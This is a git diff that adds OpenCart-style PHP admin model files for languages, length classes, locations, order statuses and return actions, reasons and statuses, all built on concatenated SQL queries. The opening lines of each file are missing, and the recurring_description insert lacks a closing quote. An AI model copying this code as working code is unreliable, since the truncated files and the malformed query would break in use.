+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value_description SET custom_field_value_id = '" . (int)$custom_field_value['custom_field_value_id'] . "', language_id = '" . (int)$language_id . "', custom_field_id = '" . (int)$custom_field_value['custom_field_id'] . "', name = '" . $this->db->escape($custom_field_value['name']) . "'");
+ }
+
+ // Download
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "download_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $download) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download['download_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($download['name']) . "'");
+ }
+
+ // Filter
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $filter) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_description SET filter_id = '" . (int)$filter['filter_id'] . "', language_id = '" . (int)$language_id . "', filter_group_id = '" . (int)$filter['filter_group_id'] . "', name = '" . $this->db->escape($filter['name']) . "'");
+ }
+
+ // Filter Group
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_group_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $filter_group) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_group_description SET filter_group_id = '" . (int)$filter_group['filter_group_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($filter_group['name']) . "'");
+ }
+
+ // Information
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $information) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_description SET information_id = '" . (int)$information['information_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($information['title']) . "', description = '" . $this->db->escape($information['description']) . "', meta_title = '" . $this->db->escape($information['meta_title']) . "', meta_description = '" . $this->db->escape($information['meta_description']) . "', meta_keyword = '" . $this->db->escape($information['meta_keyword']) . "'");
+ }
+
+ $this->cache->delete('information');
+
+ // Length
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $length) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "length_class_description SET length_class_id = '" . (int)$length['length_class_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($length['title']) . "', unit = '" . $this->db->escape($length['unit']) . "'");
+ }
+
+ $this->cache->delete('length_class');
+
+ // Option
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $option) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_description SET option_id = '" . (int)$option['option_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($option['name']) . "'");
+ }
+
+ // Option Value
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value_description SET option_value_id = '" . (int)$option_value['option_value_id'] . "', language_id = '" . (int)$language_id . "', option_id = '" . (int)$option_value['option_id'] . "', name = '" . $this->db->escape($option_value['name']) . "'");
+ }
+
+ // Order Status
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $order_status) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET order_status_id = '" . (int)$order_status['order_status_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($order_status['name']) . "'");
+ }
+
+ $this->cache->delete('order_status');
+
+ // Product
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $product) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_description SET product_id = '" . (int)$product['product_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($product['name']) . "', description = '" . $this->db->escape($product['description']) . "', tag = '" . $this->db->escape($product['tag']) . "', meta_title = '" . $this->db->escape($product['meta_title']) . "', meta_description = '" . $this->db->escape($product['meta_description']) . "', meta_keyword = '" . $this->db->escape($product['meta_keyword']) . "'");
+ }
+
+ $this->cache->delete('product');
+
+ // Product Attribute
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_attribute WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $product_attribute) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_attribute SET product_id = '" . (int)$product_attribute['product_id'] . "', attribute_id = '" . (int)$product_attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', text = '" . $this->db->escape($product_attribute['text']) . "'");
+ }
+
+ // Return Action
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $return_action) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action['return_action_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($return_action['name']) . "'");
+ }
+
+ // Return Reason
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $return_reason) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET return_reason_id = '" . (int)$return_reason['return_reason_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($return_reason['name']) . "'");
+ }
+
+ // Return Status
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $return_status) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET return_status_id = '" . (int)$return_status['return_status_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($return_status['name']) . "'");
+ }
+
+ // Stock Status
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $stock_status) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET stock_status_id = '" . (int)$stock_status['stock_status_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($stock_status['name']) . "'");
+ }
+
+ $this->cache->delete('stock_status');
+
+ // Voucher Theme
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $voucher_theme) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "voucher_theme_description SET voucher_theme_id = '" . (int)$voucher_theme['voucher_theme_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($voucher_theme['name']) . "'");
+ }
+
+ $this->cache->delete('voucher_theme');
+
+ // Weight Class
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $weight_class) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "weight_class_description SET weight_class_id = '" . (int)$weight_class['weight_class_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($weight_class['title']) . "', unit = '" . $this->db->escape($weight_class['unit']) . "'");
+ }
+
+ $this->cache->delete('weight_class');
+
+ // Profiles
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "recurring_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $recurring) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "recurring_description SET recurring_id = '" . (int)$recurring['recurring_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($recurring['name']));
+ }
+
+ return $language_id;
+ }
+
+ public function editLanguage($language_id, $data) {
+ $language_query = $this->db->query("SELECT `code` FROM " . DB_PREFIX . "language WHERE language_id = '" . (int)$language_id . "'");
+
+ $this->db->query("UPDATE " . DB_PREFIX . "language SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', locale = '" . $this->db->escape($data['locale']) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "' WHERE language_id = '" . (int)$language_id . "'");
+
+ if ($language_query->row['code'] != $data['code']) {
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET value = '" . $this->db->escape($data['code']) . "' WHERE `key` = 'config_language' AND value = '" . $this->db->escape($language_query->row['code']) . "'");
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET value = '" . $this->db->escape($data['code']) . "' WHERE `key` = 'config_admin_language' AND value = '" . $this->db->escape($language_query->row['code']) . "'");
+ }
+
+ $this->cache->delete('catalog.language');
+ $this->cache->delete('admin.language');
+ }
+
+ public function deleteLanguage($language_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "language WHERE language_id = '" . (int)$language_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE language_id = '" . (int)$language_id . "'");
+
+ $this->cache->delete('catalog.language');
+ $this->cache->delete('admin.language');
+
+ }
+
+ public function getLanguage($language_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "language WHERE language_id = '" . (int)$language_id . "'");
+
+ return $query->row;
+ }
+
+ public function getLanguages($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "language";
+
+ $sort_data = array(
+ 'name',
+ 'code',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order, name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $language_data = $this->cache->get('admin.language');
+
+ if (!$language_data) {
+ $language_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "language ORDER BY sort_order, name");
+
+ foreach ($query->rows as $result) {
+ $language_data[$result['code']] = array(
+ 'language_id' => $result['language_id'],
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'locale' => $result['locale'],
+ 'image' => $result['image'],
+ 'directory' => $result['directory'],
+ 'sort_order' => $result['sort_order'],
+ 'status' => $result['status']
+ );
+ }
+
+ $this->cache->set('admin.language', $language_data);
+ }
+
+ return $language_data;
+ }
+ }
+
+ public function getLanguageByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getTotalLanguages() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "language");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/localisation/length_class.php b/public/admin/model/localisation/length_class.php
new file mode 100644
index 0000000..8de3b31
--- /dev/null
+++ b/public/admin/model/localisation/length_class.php
@@ -0,0 +1,120 @@
+db->query("INSERT INTO " . DB_PREFIX . "length_class SET value = '" . (float)$data['value'] . "'");
+
+ $length_class_id = $this->db->getLastId();
+
+ foreach ($data['length_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "length_class_description SET length_class_id = '" . (int)$length_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('length_class');
+
+ return $length_class_id;
+ }
+
+ public function editLengthClass($length_class_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "length_class SET value = '" . (float)$data['value'] . "' WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "length_class_description WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ foreach ($data['length_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "length_class_description SET length_class_id = '" . (int)$length_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('length_class');
+ }
+
+ public function deleteLengthClass($length_class_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "length_class WHERE length_class_id = '" . (int)$length_class_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "length_class_description WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ $this->cache->delete('length_class');
+ }
+
+ public function getLengthClasses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "length_class lc LEFT JOIN " . DB_PREFIX . "length_class_description lcd ON (lc.length_class_id = lcd.length_class_id) WHERE lcd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'title',
+ 'unit',
+ 'value'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $length_class_data = $this->cache->get('length_class.' . (int)$this->config->get('config_language_id'));
+
+ if (!$length_class_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class lc LEFT JOIN " . DB_PREFIX . "length_class_description lcd ON (lc.length_class_id = lcd.length_class_id) WHERE lcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ $length_class_data = $query->rows;
+
+ $this->cache->set('length_class.' . (int)$this->config->get('config_language_id'), $length_class_data);
+ }
+
+ return $length_class_data;
+ }
+ }
+
+ public function getLengthClass($length_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class lc LEFT JOIN " . DB_PREFIX . "length_class_description lcd ON (lc.length_class_id = lcd.length_class_id) WHERE lc.length_class_id = '" . (int)$length_class_id . "' AND lcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getLengthClassDescriptionByUnit($unit) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class_description WHERE unit = '" . $this->db->escape($unit) . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getLengthClassDescriptions($length_class_id) {
+ $length_class_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class_description WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ foreach ($query->rows as $result) {
+ $length_class_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'unit' => $result['unit']
+ );
+ }
+
+ return $length_class_data;
+ }
+
+ public function getTotalLengthClasses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "length_class");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/location.php b/public/admin/model/localisation/location.php
new file mode 100644
index 0000000..bda96fb
--- /dev/null
+++ b/public/admin/model/localisation/location.php
@@ -0,0 +1,65 @@
+db->query("INSERT INTO " . DB_PREFIX . "location SET name = '" . $this->db->escape($data['name']) . "', address = '" . $this->db->escape($data['address']) . "', geocode = '" . $this->db->escape($data['geocode']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', fax = '" . $this->db->escape($data['fax']) . "', image = '" . $this->db->escape($data['image']) . "', open = '" . $this->db->escape($data['open']) . "', comment = '" . $this->db->escape($data['comment']) . "'");
+
+ return $this->db->getLastId();
+ }
+
+ public function editLocation($location_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "location SET name = '" . $this->db->escape($data['name']) . "', address = '" . $this->db->escape($data['address']) . "', geocode = '" . $this->db->escape($data['geocode']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', fax = '" . $this->db->escape($data['fax']) . "', image = '" . $this->db->escape($data['image']) . "', open = '" . $this->db->escape($data['open']) . "', comment = '" . $this->db->escape($data['comment']) . "' WHERE location_id = '" . (int)$location_id . "'");
+ }
+
+ public function deleteLocation($location_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "location WHERE location_id = " . (int)$location_id);
+ }
+
+ public function getLocation($location_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "location WHERE location_id = '" . (int)$location_id . "'");
+
+ return $query->row;
+ }
+
+ public function getLocations($data = array()) {
+ $sql = "SELECT location_id, name, address FROM " . DB_PREFIX . "location";
+
+ $sort_data = array(
+ 'name',
+ 'address',
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalLocations() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "location");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/localisation/order_status.php b/public/admin/model/localisation/order_status.php
new file mode 100644
index 0000000..7f98836
--- /dev/null
+++ b/public/admin/model/localisation/order_status.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($order_status_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET order_status_id = '" . (int)$order_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $order_status_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('order_status');
+
+ return $order_status_id;
+ }
+
+ public function editOrderStatus($order_status_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ foreach ($data['order_status'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET order_status_id = '" . (int)$order_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('order_status');
+ }
+
+ public function deleteOrderStatus($order_status_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ $this->cache->delete('order_status');
+ }
+
+ public function getOrderStatus($order_status_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getOrderStatuses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $order_status_data = $this->cache->get('order_status.' . (int)$this->config->get('config_language_id'));
+
+ if (!$order_status_data) {
+ $query = $this->db->query("SELECT order_status_id, name FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $order_status_data = $query->rows;
+
+ $this->cache->set('order_status.' . (int)$this->config->get('config_language_id'), $order_status_data);
+ }
+
+ return $order_status_data;
+ }
+ }
+
+ public function getOrderStatusDescriptions($order_status_id) {
+ $order_status_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ foreach ($query->rows as $result) {
+ $order_status_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $order_status_data;
+ }
+
+ public function getTotalOrderStatuses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/return_action.php b/public/admin/model/localisation/return_action.php
new file mode 100644
index 0000000..a121217
--- /dev/null
+++ b/public/admin/model/localisation/return_action.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($return_action_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $return_action_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('return_action');
+
+ return $return_action_id;
+ }
+
+ public function editReturnAction($return_action_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ foreach ($data['return_action'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('return_action');
+ }
+
+ public function deleteReturnAction($return_action_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ $this->cache->delete('return_action');
+ }
+
+ public function getReturnAction($return_action_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getReturnActions($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $return_action_data = $this->cache->get('return_action.' . (int)$this->config->get('config_language_id'));
+
+ if (!$return_action_data) {
+ $query = $this->db->query("SELECT return_action_id, name FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $return_action_data = $query->rows;
+
+ $this->cache->set('return_action.' . (int)$this->config->get('config_language_id'), $return_action_data);
+ }
+
+ return $return_action_data;
+ }
+ }
+
+ public function getReturnActionDescriptions($return_action_id) {
+ $return_action_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ foreach ($query->rows as $result) {
+ $return_action_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $return_action_data;
+ }
+
+ public function getTotalReturnActions() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/return_reason.php b/public/admin/model/localisation/return_reason.php
new file mode 100644
index 0000000..b33ca3c
--- /dev/null
+++ b/public/admin/model/localisation/return_reason.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($return_reason_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET return_reason_id = '" . (int)$return_reason_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $return_reason_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('return_reason');
+
+ return $return_reason_id;
+ }
+
+ public function editReturnReason($return_reason_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ foreach ($data['return_reason'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET return_reason_id = '" . (int)$return_reason_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('return_reason');
+ }
+
+ public function deleteReturnReason($return_reason_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ $this->cache->delete('return_reason');
+ }
+
+ public function getReturnReason($return_reason_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getReturnReasons($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $return_reason_data = $this->cache->get('return_reason.' . (int)$this->config->get('config_language_id'));
+
+ if (!$return_reason_data) {
+ $query = $this->db->query("SELECT return_reason_id, name FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $return_reason_data = $query->rows;
+
+ $this->cache->set('return_reason.' . (int)$this->config->get('config_language_id'), $return_reason_data);
+ }
+
+ return $return_reason_data;
+ }
+ }
+
+ public function getReturnReasonDescriptions($return_reason_id) {
+ $return_reason_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ foreach ($query->rows as $result) {
+ $return_reason_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $return_reason_data;
+ }
+
+ public function getTotalReturnReasons() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/return_status.php b/public/admin/model/localisation/return_status.php
new file mode 100644
index 0000000..8f258df
--- /dev/null
+++ b/public/admin/model/localisation/return_status.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($return_status_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET return_status_id = '" . (int)$return_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $return_status_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('return_status');
+
+ return $return_status_id;
+ }
+
+ public function editReturnStatus($return_status_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ foreach ($data['return_status'] as $language_id => $value) {
